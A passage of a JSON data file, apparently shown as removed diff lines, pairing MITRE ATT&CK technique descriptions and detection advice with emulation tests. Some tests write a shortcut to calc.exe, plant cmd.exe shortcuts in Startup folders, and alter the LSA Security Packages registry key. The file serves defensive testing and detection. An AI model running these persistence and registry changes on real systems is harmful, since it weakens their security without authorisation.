February 15). Use Windows Event Forwarding to help with intrusion detection. Retrieved August 7, 2018.", - "source_name": "Microsoft Windows Event Forwarding FEB 2018" - }, - { - "url": "https://technet.microsoft.com/en-us/sysinternals/bb963902", - "description": "Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. Retrieved June 6, 2016.", - "source_name": "TechNet Autoruns" - } - ], - "modified": "2020-03-17T16:21:36.413Z", - "name": "New Service", - "description": "When operating systems boot up, they can start programs or applications called services that perform background system functions. (Citation: TechNet Services) A service's configuration information, including the file path to the service's executable, is stored in the Windows Registry. \n\nAdversaries may install a new service that can be configured to execute at startup by using utilities to interact with services or by directly modifying the Registry. The service name may be disguised by using a name from a related operating system or benign software with [Masquerading](https://attack.mitre.org/techniques/T1036). Services may be created with administrator privileges but are executed under SYSTEM privileges, so an adversary may also use a service to escalate privileges from administrator to SYSTEM. Adversaries may also directly start services through [Service Execution](https://attack.mitre.org/techniques/T1035).", - "kill_chain_phases": [ - { - "kill_chain_name": "mitre-attack", - "phase_name": "persistence" - }, - { - "kill_chain_name": "mitre-attack", - "phase_name": "privilege-escalation" - } - ], - "x_mitre_detection": "Monitor service creation through changes in the Registry and common utilities using command-line invocation. Creation of new services may generate an alterable event (ex: Event ID 4697 and/or 7045 (Citation: Microsoft 4697 APR 2017) (Citation: Microsoft Windows Event Forwarding FEB 2018)). New, benign services may be created during installation of new software. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement.\n\nTools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence. (Citation: TechNet Autoruns) Look for changes to services that do not correlate with known software, patch cycles, etc. Suspicious program execution through services may show up as outlier processes that have not been seen before when compared against historical data.\n\nMonitor processes and command-line arguments for actions that could create services. Remote access tools with built-in features may interact directly with the Windows API to perform these functions outside of typical system utilities. Services may also be created through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1086), so additional logging may need to be configured to gather the appropriate data.", - "x_mitre_version": "1.0", - "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "x_mitre_permissions_required": [ - "Administrator", - "SYSTEM" - ], - "x_mitre_effective_permissions": [ - "SYSTEM" - ] - }, - "atomic_tests": [] - }, - "T1611": { - "technique": { - "x_mitre_platforms": [ - "Windows", - "Linux", - "Containers" - ], - "x_mitre_domains": [ - "enterprise-attack" - ], - "x_mitre_contributors": [ - "Yuval Avrahami, Palo Alto Networks", - "Daniel Prizmant, Palo Alto Networks", - "Joas Antonio dos Santos, @C0d3Cr4zy, Inmetrics", - "Alfredo Oliveira, Trend Micro", - "David Fiser, @anu4is, Trend Micro", - "Idan Frimark, Cisco", - "Magno Logan, @magnologan, Trend Micro", - "Ariel Shuper, Cisco", - "Yossi Weizman, Azure Defender Research Team", - "Vishwas Manral, McAfee" - ], - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], - "id": "attack-pattern--4a5b7ade-8bb5-4853-84ed-23f262002665", - "type": "attack-pattern", - "created": "2021-03-30T17:38:34.277Z", - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "external_references": [ - { - "source_name": "mitre-attack", - "external_id": "T1611", - "url": "https://attack.mitre.org/techniques/T1611" - }, - { - "source_name": "Docker Overview", - "url": "https://docs.docker.com/get-started/overview/", - "description": "Docker. (n.d.). Docker Overview. Retrieved March 30, 2021." - }, - { - "source_name": "Docker Bind Mounts", - "url": "https://docs.docker.com/storage/bind-mounts/", - "description": "Docker. (n.d.). Use Bind Mounts. Retrieved March 30, 2021." - }, - { - "source_name": "Trend Micro Privileged Container", - "url": "https://www.trendmicro.com/en_us/research/19/l/why-running-a-privileged-container-in-docker-is-a-bad-idea.html", - "description": "Fiser, D., Oliveira, A.. (2019, December 20). Why a Privileged Container in Docker is a Bad Idea. Retrieved March 30, 2021." - }, - { - "source_name": "Intezer Doki July 20", - "url": "https://www.intezer.com/blog/cloud-security/watch-your-containers-doki-infecting-docker-servers-in-the-cloud/", - "description": "Fishbein, N., Kajiloti, M.. (2020, July 28). Watch Your Containers: Doki Infecting Docker Servers in the Cloud. Retrieved March 30, 2021." - }, - { - "source_name": "Windows Server Containers Are Open", - "url": "https://unit42.paloaltonetworks.com/windows-server-containers-vulnerabilities/", - "description": "Daniel Prizmant. (2020, July 15). Windows Server Containers Are Open, and Here's How You Can Break Out. Retrieved October 1, 2021." - } - ], - "modified": "2022-04-01T13:06:06.128Z", - "name": "Escape to Host", - "description": "Adversaries may break out of a container to gain access to the underlying host. This can allow an adversary access to other containerized resources from the host level or to the host itself. In principle, containerized resources should provide a clear separation of application functionality and be isolated from the host environment.(Citation: Docker Overview)\n\nThere are multiple ways an adversary may escape to a host environment. Examples include creating a container configured to mount the host\u2019s filesystem using the bind parameter, which allows the adversary to drop payloads and execute control utilities such as cron on the host, or utilizing a privileged container to run commands on the underlying host.(Citation: Docker Bind Mounts)(Citation: Trend Micro Privileged Container)(Citation: Intezer Doki July 20) Adversaries may also escape via [Exploitation for Privilege Escalation](https://attack.mitre.org/techniques/T1068), such as exploiting vulnerabilities in global symbolic links in order to access the root directory of a host machine.(Citation: Windows Server Containers Are Open)\n\nGaining access to the host may provide the adversary with the opportunity to achieve follow-on objectives, such as establishing persistence, moving laterally within the environment, or setting up a command and control channel on the host.", - "kill_chain_phases": [ - { - "kill_chain_name": "mitre-attack", - "phase_name": "privilege-escalation" - } - ], - "x_mitre_detection": "Monitor for the deployment of suspicious or unknown container images and pods in your environment, particularly containers running as root. Additionally, monitor for unexpected usage of syscalls such as mount (as well as resulting process activity) that may indicate an attempt to escape from a privileged container to host. In Kubernetes, monitor for cluster-level events associated with changing containers' volume configurations.", - "x_mitre_version": "1.2", - "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "x_mitre_data_sources": [ - "Process: OS API Execution", - "Process: Process Creation", - "Volume: Volume Modification", - "Container: Container Creation" - ], - "x_mitre_permissions_required": [ - "Administrator", - "User", - "root" - ], - "identifier": "T1611" - }, - "atomic_tests": [] - }, - "T1547.009": { - "technique": { - "x_mitre_platforms": [ - "Windows" - ], - "x_mitre_domains": [ - "enterprise-attack" - ], - "x_mitre_contributors": [ - "David French, Elastic", - "Bobby, Filar, Elastic", - "Travis Smith, Tripwire" - ], - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], - "id": "attack-pattern--4ab929c6-ee2d-4fb5-aab4-b14be2ed7179", - "type": "attack-pattern", - "created": "2020-01-24T19:00:32.917Z", - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "external_references": [ - { - "source_name": "mitre-attack", - "external_id": "T1547.009", - "url": "https://attack.mitre.org/techniques/T1547/009" - }, - { - "external_id": "CAPEC-132", - "source_name": "capec", - "url": "https://capec.mitre.org/data/definitions/132.html" - }, - { - "source_name": "BSidesSLC 2020 - LNK Elastic", - "url": "https://www.youtube.com/watch?v=nJ0UsyiUEqQ", - "description": "French, D., Filar, B.. (2020, March 21). A Chain Is No Stronger Than Its Weakest LNK. Retrieved November 30, 2020." - } - ], - "modified": "2021-04-13T21:30:24.555Z", - "name": "Boot or Logon Autostart Execution: Shortcut Modification", - "description": "Adversaries may create or edit shortcuts to run a program during system boot or user login. Shortcuts or symbolic links are ways of referencing other files or programs that will be opened or executed when the shortcut is clicked or executed by a system startup process.\n\nAdversaries could use shortcuts to execute their tools for persistence. They may create a new shortcut as a means of indirection that may use [Masquerading](https://attack.mitre.org/techniques/T1036) to look like a legitimate program. Adversaries could also edit the target path or entirely replace an existing shortcut so their tools will be executed instead of the intended legitimate program.", - "kill_chain_phases": [ - { - "kill_chain_name": "mitre-attack", - "phase_name": "persistence" - }, - { - "kill_chain_name": "mitre-attack", - "phase_name": "privilege-escalation" - } - ], - "x_mitre_detection": "Since a shortcut's target path likely will not change, modifications to shortcut files that do not correlate with known software changes, patches, removal, etc., may be suspicious. Analysis should attempt to relate shortcut file change or creation events to other potentially suspicious events based on known adversary behavior such as process launches of unknown executables that make network connections.\n\nMonitor for LNK files created with a Zone Identifier value greater than 1, which may indicate that the LNK file originated from outside of the network.(Citation: BSidesSLC 2020 - LNK Elastic)", - "x_mitre_is_subtechnique": true, - "x_mitre_version": "1.1", - "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "x_mitre_data_sources": [ - "Process: Process Creation", - "File: File Creation", - "File: File Modification" - ], - "x_mitre_permissions_required": [ - "Administrator", - "User" - ], - "identifier": "T1547.009" - }, - "atomic_tests": [ - { - "name": "Shortcut Modification", - "auto_generated_guid": "ce4fc678-364f-4282-af16-2fb4c78005ce", - "description": "This test to simulate shortcut modification and then execute. example shortcut (*.lnk , .url) strings check with powershell;\ngci -path \"C:\\Users\" -recurse -include *.url -ea SilentlyContinue | Select-String -Pattern \"exe\" | FL.\nUpon execution, calc.exe will be launched.\n", - "supported_platforms": [ - "windows" - ], - "input_arguments": { - "shortcut_file_path": { - "description": "shortcut modified and execute", - "type": "path", - "default": "%temp%\\T1547.009_modified_shortcut.url" - } - }, - "executor": { - "command": "echo [InternetShortcut] > #{shortcut_file_path}\necho URL=C:\\windows\\system32\\calc.exe >> #{shortcut_file_path}\n#{shortcut_file_path}\n", - "cleanup_command": "del -f #{shortcut_file_path} >nul 2>&1\n", - "name": "command_prompt" - } - }, - { - "name": "Create shortcut to cmd in startup folders", - "auto_generated_guid": "cfdc954d-4bb0-4027-875b-a1893ce406f2", - "description": "LNK file to launch CMD placed in startup folder. Upon execution, open File Explorer and browse to \"%APPDATA%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\\"\nto view the new shortcut.\n", - "supported_platforms": [ - "windows" - ], - "executor": { - "command": "$Shell = New-Object -ComObject (\"WScript.Shell\")\n$ShortCut = $Shell.CreateShortcut(\"$env:APPDATA\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\T1547.009.lnk\")\n$ShortCut.TargetPath=\"cmd.exe\"\n$ShortCut.WorkingDirectory = \"C:\\Windows\\System32\";\n$ShortCut.WindowStyle = 1;\n$ShortCut.Description = \"T1547.009.\";\n$ShortCut.Save()\n\n$Shell = New-Object -ComObject (\"WScript.Shell\")\n$ShortCut = $Shell.CreateShortcut(\"$env:ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\T1547.009.lnk\")\n$ShortCut.TargetPath=\"cmd.exe\"\n$ShortCut.WorkingDirectory = \"C:\\Windows\\System32\";\n$ShortCut.WindowStyle = 1;\n$ShortCut.Description = \"T1547.009.\";\n$ShortCut.Save()\n", - "cleanup_command": "Remove-Item \"$env:APPDATA\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\T1547.009.lnk\" -ErrorAction Ignore\nRemove-Item \"$env:ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\T1547.009.lnk\" -ErrorAction Ignore\n", - "name": "powershell", - "elevation_required": true - } - } - ] - }, - "T1182": { - "technique": { - "x_mitre_platforms": [ - "Windows" - ], - "x_mitre_domains": [ - "enterprise-attack" - ], - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], - "id": "attack-pattern--4bf5845d-a814-4490-bc5c-ccdee6043025", - "type": "attack-pattern", - "created": "2018-01-16T16:13:52.465Z", - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "revoked": true, - "external_references": [ - { - "source_name": "mitre-attack", - "external_id": "T1182", - "url": "https://attack.mitre.org/techniques/T1182" - }, - { - "url": "https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process", - "description": "Hosseini, A. (2017, July 18). Ten Process Injection Techniques: A Technical Survey Of Common And Trending Process Injection Techniques. Retrieved December 7, 2017.", - "source_name": "Elastic Process Injection July 2017" - }, - { - "url": "https://technet.microsoft.com/en-us/sysinternals/bb963902", - "description": "Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. Retrieved June 6, 2016.", - "source_name": "TechNet Autoruns" - }, - { - "url": "https://forum.sysinternals.com/appcertdlls_topic12546.html", - "description": "Microsoft. (2007, October 24). Windows Sysinternals - AppCertDlls. Retrieved December 18, 2017.", - "source_name": "Sysinternals AppCertDlls Oct 2007" - } - ], - "modified": "2020-11-10T18:29:30.350Z", - "name": "AppCert DLLs", - "description": "Dynamic-link libraries (DLLs) that are specified in the AppCertDLLs Registry key under HKEY_LOCAL_MACHINE\\System\\CurrentControlSet\\Control\\Session Manager are loaded into every process that calls the ubiquitously used application programming interface (API) functions CreateProcess, CreateProcessAsUser, CreateProcessWithLoginW, CreateProcessWithTokenW, or WinExec. (Citation: Elastic Process Injection July 2017)\n\nSimilar to [Process Injection](https://attack.mitre.org/techniques/T1055), this value can be abused to obtain persistence and privilege escalation by causing a malicious DLL to be loaded and run in the context of separate processes on the computer.", - "kill_chain_phases": [ - { - "kill_chain_name": "mitre-attack", - "phase_name": "persistence" - }, - { - "kill_chain_name": "mitre-attack", - "phase_name": "privilege-escalation" - } - ], - "x_mitre_detection": "Monitor DLL loads by processes, specifically looking for DLLs that are not recognized or not normally loaded into a process. Monitor the AppCertDLLs Registry value for modifications that do not correlate with known software, patch cycles, etc. Monitor and analyze application programming interface (API) calls that are indicative of Registry edits such as RegCreateKeyEx and RegSetValueEx. (Citation: Elastic Process Injection July 2017) \n\nTools such as Sysinternals Autoruns may overlook AppCert DLLs as an auto-starting location. (Citation: TechNet Autoruns) (Citation: Sysinternals AppCertDlls Oct 2007)\n\nLook for abnormal process behavior that may be due to a process loading a malicious DLL. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as making network connections for Command and Control, learning details about the environment through Discovery, and conducting Lateral Movement.", - "x_mitre_version": "1.0", - "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "x_mitre_permissions_required": [ - "Administrator", - "SYSTEM" - ], - "x_mitre_effective_permissions": [ - "Administrator", - "SYSTEM" - ] - }, - "atomic_tests": [] - }, - "T1547.005": { - "technique": { - "x_mitre_platforms": [ - "Windows" - ], - "x_mitre_domains": [ - "enterprise-attack" - ], - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], - "id": "attack-pattern--5095a853-299c-4876-abd7-ac0050fb5462", - "type": "attack-pattern", - "created": "2020-01-24T17:16:11.806Z", - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "external_references": [ - { - "source_name": "mitre-attack", - "external_id": "T1547.005", - "url": "https://attack.mitre.org/techniques/T1547/005" - }, - { - "url": "http://docplayer.net/20839173-Analysis-of-malicious-security-support-provider-dlls.html", - "description": "Graeber, M. (2014, October). Analysis of Malicious Security Support Provider DLLs. Retrieved March 1, 2017.", - "source_name": "Graeber 2014" - }, - { - "url": "https://technet.microsoft.com/en-us/library/dn408187.aspx", - "description": "Microsoft. (2013, July 31). Configuring Additional LSA Protection. Retrieved June 24, 2015.", - "source_name": "Microsoft Configure LSA" - } - ], - "modified": "2020-03-25T15:42:48.910Z", - "name": "Boot or Logon Autostart Execution: Security Support Provider", - "description": "Adversaries may abuse security support providers (SSPs) to execute DLLs when the system boots. Windows SSP DLLs are loaded into the Local Security Authority (LSA) process at system start. Once loaded into the LSA, SSP DLLs have access to encrypted and plaintext passwords that are stored in Windows, such as any logged-on user's Domain password or smart card PINs.\n\nThe SSP configuration is stored in two Registry keys: HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\Security Packages and HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\OSConfig\\Security Packages. An adversary may modify these Registry keys to add new SSPs, which will be loaded the next time the system boots, or when the AddSecurityPackage Windows API function is called.(Citation: Graeber 2014)", - "kill_chain_phases": [ - { - "kill_chain_name": "mitre-attack", - "phase_name": "persistence" - }, - { - "kill_chain_name": "mitre-attack", - "phase_name": "privilege-escalation" - } - ], - "x_mitre_detection": "Monitor the Registry for changes to the SSP Registry keys. Monitor the LSA process for DLL loads. Windows 8.1 and Windows Server 2012 R2 may generate events when unsigned SSP DLLs try to load into the LSA by setting the Registry key HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\LSASS.exe with AuditLevel = 8. (Citation: Graeber 2014) (Citation: Microsoft Configure LSA)", - "x_mitre_is_subtechnique": true, - "x_mitre_version": "1.0", - "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "x_mitre_data_sources": [ - "Module: Module Load", - "Windows Registry: Windows Registry Key Modification", - "Command: Command Execution" - ], - "x_mitre_permissions_required": [ - "Administrator" - ], - "identifier": "T1547.005" - }, - "atomic_tests": [ - { - "name": "Modify SSP configuration in registry", - "auto_generated_guid": "afdfd7e3-8a0b-409f-85f7-886fdf249c9e", - "description": "Add a value to a Windows registry SSP key, simulating an adversarial modification of those keys.", - "supported_platforms": [ - "windows" - ], - "input_arguments": { - "fake_ssp_dll": { - "description": "Value added to registry key. Normally refers to a DLL name in C:\\Windows\\System32.", - "type": "string", - "default": "not-a-ssp" - } - }, - "executor": { - "command": "# run these in sequence\n$SecurityPackages = Get-ItemProperty HKLM:\\System\\CurrentControlSet\\Control\\Lsa -Name 'Security Packages' | Select-Object -ExpandProperty 'Security Packages'\n$SecurityPackagesUpdated = $SecurityPackages\n$SecurityPackagesUpdated += \"#{fake_ssp_dll}\"\nSet-ItemProperty HKLM:\\SYSTEM\\CurrentControlSet\\Control\\Lsa -Name 'Security Packages' -Value $SecurityPackagesUpdated\n\n# revert (before reboot)\nSet-ItemProperty HKLM:\\SYSTEM\\CurrentControlSet\\Control\\Lsa -Name 'Security Packages' -Value $SecurityPackages\n", - "name": "powershell", - "elevation_required": true - } - } - ] - }, - "T1181": { - "technique": { - "x_mitre_platforms": [ - "Windows" - ], - "x_mitre_domains": [ - "enterprise-attack" - ], - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], - "id": "attack-pattern--52f3d5a6-8a0f-4f82-977e-750abf90d0b0", - "type": "attack-pattern", - "created": "2018-01-16T16:13:52.465Z", - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "revoked": true, - "external_references": [ - { - "source_name": "mitre-attack", - "external_id": "T1181", - "url": "https://attack.mitre.org/techniques/T1181" - }, - { - "url": "https://msdn.microsoft.com/library/windows/desktop/ms633574.aspx", - "description": "Microsoft. (n.d.). About Window Classes. Retrieved December 16, 2017.", - "source_name": "Microsoft Window Classes" - }, - { - "url": "https://msdn.microsoft.com/library/windows/desktop/ms633584.aspx", - "description": "Microsoft. (n.d.). GetWindowLong function. Retrieved December 16, 2017.", - "source_name": "Microsoft GetWindowLong function" - }, - { - "url": "https://msdn.microsoft.com/library/windows/desktop/ms633591.aspx", - "description": "Microsoft. (n.d.). SetWindowLong function. Retrieved December 16, 2017.", - "source_name": "Microsoft SetWindowLong function" - }, - { - "url": "https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process", - "description": "Hosseini, A. (2017, July 18). Ten Process Injection Techniques: A Technical Survey Of Common And Trending Process Injection Techniques. Retrieved December 7, 2017.", - "source_name": "Elastic Process Injection July 2017" - }, - { - "url": "https://www.malwaretech.com/2013/08/powerloader-injection-something-truly.html", - "description": "MalwareTech. (2013, August 13). PowerLoader Injection \u2013 Something truly amazing. Retrieved December 16, 2017.", - "source_name": "MalwareTech Power Loader Aug 2013" - }, - { - "url": "https://www.welivesecurity.com/2013/03/19/gapz-and-redyms-droppers-based-on-power-loader-code/", - "description": "Matrosov, A. (2013, March 19). Gapz and Redyms droppers based on Power Loader code. Retrieved December 16, 2017.", - "source_name": "WeLiveSecurity Gapz and Redyms Mar 2013" - }, - { - "url": "https://msdn.microsoft.com/library/windows/desktop/ms644953.aspx", - "description": "Microsoft. (n.d.). SendNotifyMessage function. Retrieved December 16, 2017.", - "source_name": "Microsoft SendNotifyMessage function" - } - ], - "modified": "2020-11-10T18:29:30.479Z", - "name": "Extra Window Memory Injection", - "description": "Before creating a window, graphical Windows-based processes must prescribe to or register a windows class, which stipulate appearance and behavior (via windows procedures, which are functions that handle input/output of data). (Citation: Microsoft Window Classes) Registration of new windows classes can include a request for up to 40 bytes of extra window memory (EWM) to be appended to the allocated memory of each instance of that class. This EWM is intended to store data specific to that window and has specific application programming interface (API) functions to set and get its value. (Citation: Microsoft GetWindowLong function) (Citation: Microsoft SetWindowLong function)\n\nAlthough small, the EWM is large enough to store a 32-bit pointer and is often used to point to a windows procedure. Malware may possibly utilize this memory location in part of an attack chain that includes writing code to shared sections of the process\u2019s memory, placing a pointer to the code in EWM, then invoking execution by returning execution control to the address in the process\u2019s EWM.\n\nExecution granted through EWM injection may take place in the address space of a separate live process. Similar to [Process Injection](https://attack.mitre.org/techniques/T1055), this may allow access to both the target process's memory and possibly elevated privileges. Writing payloads to shared sections also avoids the use of highly monitored API calls such as WriteProcessMemory and CreateRemoteThread. (Citation: Elastic Process Injection July 2017) More sophisticated malware samples may also potentially bypass protection mechanisms such as data execution prevention (DEP) by triggering a combination of windows procedures and other system functions that will rewrite the malicious payload inside an executable portion of the target process. (Citation: MalwareTech Power Loader Aug 2013) (Citation: WeLiveSecurity Gapz and Redyms Mar 2013)", - "kill_chain_phases": [ - { - "kill_chain_name": "mitre-attack", - "phase_name": "defense-evasion" - }, - { - "kill_chain_name": "mitre-attack", - "phase_name": "privilege-escalation" - } - ], - "x_mitre_detection": "Monitor for API calls related to enumerating and manipulating EWM such as GetWindowLong (Citation: Microsoft GetWindowLong function) and SetWindowLong (Citation: Microsoft SetWindowLong function). Malware associated with this technique have also used SendNotifyMessage (Citation: Microsoft SendNotifyMessage function) to trigger the associated window procedure and eventual malicious injection. (Citation: Elastic Process Injection July 2017)", - "x_mitre_version": "1.0", - "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "x_mitre_defense_bypassed": [ - "Anti-virus", - "Host intrusion prevention systems", - "Data Execution Prevention" - ], - "x_mitre_permissions_required": [ - "Administrator", - "SYSTEM" - ] - }, - "atomic_tests": [] - }, - "T1543.004": { - "technique": { - "x_mitre_platforms": [ - "macOS" - ], - "x_mitre_domains": [ - "enterprise-attack" - ], - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], - "id": "attack-pattern--573ad264-1371-4ae0-8482-d2673b719dba", - "type": "attack-pattern", - "created": "2020-01-17T19:23:15.227Z", - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "external_references": [ - { - "source_name": "mitre-attack", - "external_id": "T1543.004", - "url": "https://attack.mitre.org/techniques/T1543/004" - }, - { - "external_id": "CAPEC-550", - "source_name": "capec", - "url": "https://capec.mitre.org/data/definitions/550.html" - }, - { - "external_id": "CAPEC-551", - "source_name": "capec", - "url": "https://capec.mitre.org/data/definitions/551.html" - }, - { - "url": "https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/CreatingLaunchdJobs.html", - "description": "Apple. (n.d.). Creating Launch Daemons and Agents. Retrieved July 10, 2017.", - "source_name": "AppleDocs Launch Agent Daemons" - }, - { - "url": "https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf", - "description": "Patrick Wardle. (2014, September). Methods of Malware Persistence on Mac OS X. Retrieved July 5, 2017.", - "source_name": "Methods of Mac Malware Persistence" - }, - { - "source_name": "launchd Keywords for plists", - "url": "https://www.real-world-systems.com/docs/launchdPlist.1.html", - "description": "Dennis German. (2020, November 20). launchd Keywords for plists. Retrieved October 7, 2021." - }, - { - "url": "https://www.paloaltonetworks.com/content/dam/pan/en_US/assets/pdf/reports/Unit_42/unit42-wirelurker.pdf", - "description": "Claud Xiao. (n.d.). WireLurker: A New Era in iOS and OS X Malware. Retrieved July 10, 2017.", - "source_name": "WireLurker" - }, - { - "url": "https://www.synack.com/wp-content/uploads/2016/03/RSA_OSX_Malware.pdf", - "description": "Patrick Wardle. (2016, February 29). Let's Play Doctor: Practical OS X Malware Detection & Analysis. Retrieved July 10, 2017.", - "source_name": "OSX Malware Detection" - }, - { - "source_name": "LaunchDaemon Hijacking", - "url": "https://bradleyjkemp.dev/post/launchdaemon-hijacking/", - "description": "Bradley Kemp. (2021, May 10). LaunchDaemon Hijacking: privilege escalation and persistence via insecure folder permissions. Retrieved July 26, 2021." - }, - { - "source_name": "sentinelone macos persist Jun 2019", - "url": "https://www.sentinelone.com/blog/how-malware-persists-on-macos/", - "description": "Stokes, Phil. (2019, June 17). HOW MALWARE PERSISTS ON MACOS. Retrieved September 10, 2019." - } - ], - "modified": "2021-10-07T22:10:55.653Z", - "name": "Create or Modify System Process: Launch Daemon", - "description": "Adversaries may create or modify Launch Daemons to execute malicious payloads as part of persistence. Launch Daemons are plist files used to interact with Launchd, the service management framework used by macOS. Launch Daemons require elevated privileges to install, are executed for every user on a system prior to login, and run in the background without the need for user interaction. During the macOS initialization startup, the launchd process loads the parameters for launch-on-demand system-level daemons from plist files found in /System/Library/LaunchDaemons/ and /Library/LaunchDaemons/. Required Launch Daemons parameters include a Label to identify the task, Program to provide a path to the executable, and RunAtLoad to specify when the task is run. Launch Daemons are often used to provide access to shared resources, updates to software, or conduct automation tasks.(Citation: AppleDocs Launch Agent Daemons)(Citation: Methods of Mac Malware Persistence)(Citation: launchd Keywords for plists)\n\nAdversaries may install a Launch Daemon configured to execute at startup by using the RunAtLoad parameter set to true and the Program parameter set to the malicious executable path. The daemon name may be disguised by using a name from a related operating system or benign software (i.e. [Masquerading](https://attack.mitre.org/techniques/T1036)). When the Launch Daemon is executed, the program inherits administrative permissions.(Citation: WireLurker)(Citation: OSX Malware Detection)\n\nAdditionally, system configuration changes (such as the installation of third party package managing software) may cause folders such as usr/local/bin to become globally writeable. So, it is possible for poor configurations to allow an adversary to modify executables referenced by current Launch Daemon's plist files.(Citation: LaunchDaemon Hijacking)(Citation: sentinelone macos persist Jun 2019)", - "kill_chain_phases": [ - { - "kill_chain_name": "mitre-attack", - "phase_name": "persistence" - }, - { - "kill_chain_name": "mitre-attack", - "phase_name": "privilege-escalation" - } - ], - "x_mitre_detection": "Monitor for new files added to the /Library/LaunchDaemons/ folder. The System LaunchDaemons are protected by SIP.\n\nSome legitimate LaunchDaemons point to unsigned code that could be exploited. For Launch Daemons with the RunAtLoad parameter set to true, ensure the Program parameter points to signed code or executables are in alignment with enterprise policy. Some parameters are interchangeable with others, such as Program and ProgramArguments parameters but one must be present.(Citation: launchd Keywords for plists)\n\n", - "x_mitre_is_subtechnique": true, - "x_mitre_version": "1.2", - "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "x_mitre_data_sources": [ - "Service: Service Creation", - "Process: Process Creation", - "Service: Service Modification", - "Command: Command Execution", - "File: File Creation", - "File: File Modification" - ], - "x_mitre_permissions_required": [ - "Administrator" - ], - "x_mitre_effective_permissions": [ - "root", - "Administrator" - ], - "identifier": "T1543.004" - }, - "atomic_tests": [] - }, - "T1574.008": { - "technique": { - "x_mitre_platforms": [ - "Windows" - ], - "x_mitre_domains": [ - "enterprise-attack" - ], - "x_mitre_contributors": [ - "Stefan Kanthak" - ], - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], - "id": "attack-pattern--58af3705-8740-4c68-9329-ec015a7013c2", - "type": "attack-pattern", - "created": "2020-03-13T17:48:58.999Z", - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "external_references": [ - { - "source_name": "mitre-attack", - "external_id": "T1574.008", - "url": "https://attack.mitre.org/techniques/T1574/008" - }, - { - "external_id": "CAPEC-159", - "source_name": "capec", - "url": "https://capec.mitre.org/data/definitions/159.html" - }, - { - "url": "http://msdn.microsoft.com/en-us/library/ms682425", - "description": "Microsoft. (n.d.). CreateProcess function. Retrieved December 5, 2014.", - "source_name": "Microsoft CreateProcess" - }, - { - "source_name": "Windows NT Command Shell", - "url": "https://docs.microsoft.com/en-us/previous-versions//cc723564(v=technet.10)?redirectedfrom=MSDN#XSLTsection127121120120", - "description": "Tim Hill. (2014, February 2). The Windows NT Command Shell. Retrieved December 5, 2014." - }, - { - "url": "http://msdn.microsoft.com/en-us/library/ms687393", - "description": "Microsoft. (n.d.). WinExec function. Retrieved December 5, 2014.", - "source_name": "Microsoft WinExec" - }, - { - "source_name": "Microsoft Environment Property", - "url": "https://docs.microsoft.com/en-us/previous-versions//fd7hxfdd(v=vs.85)?redirectedfrom=MSDN", - "description": "Microsoft. (2011, October 24). Environment Property. Retrieved July 27, 2016." - } - ], - "modified": "2020-09-17T19:03:35.217Z", - "name": "Hijack Execution Flow: Path Interception by Search Order Hijacking", - "description": "Adversaries may execute their own malicious payloads by hijacking the search order used to load other programs. Because some programs do not call other programs using the full path, adversaries may place their own file in the directory where the calling program is located, causing the operating system to launch their malicious software at the request of the calling program.\n\nSearch order hijacking occurs when an adversary abuses the order in which Windows searches for programs that are not given a path. Unlike [DLL Search Order Hijacking](https://attack.mitre.org/techniques/T1574/001), the search order differs depending on the method that is used to execute the program. (Citation: Microsoft CreateProcess) (Citation: Windows NT Command Shell) (Citation: Microsoft WinExec) However, it is common for Windows to search in the directory of the initiating program before searching through the Windows system directory. An adversary who finds a program vulnerable to search order hijacking (i.e., a program that does not specify the path to an executable) may take advantage of this vulnerability by 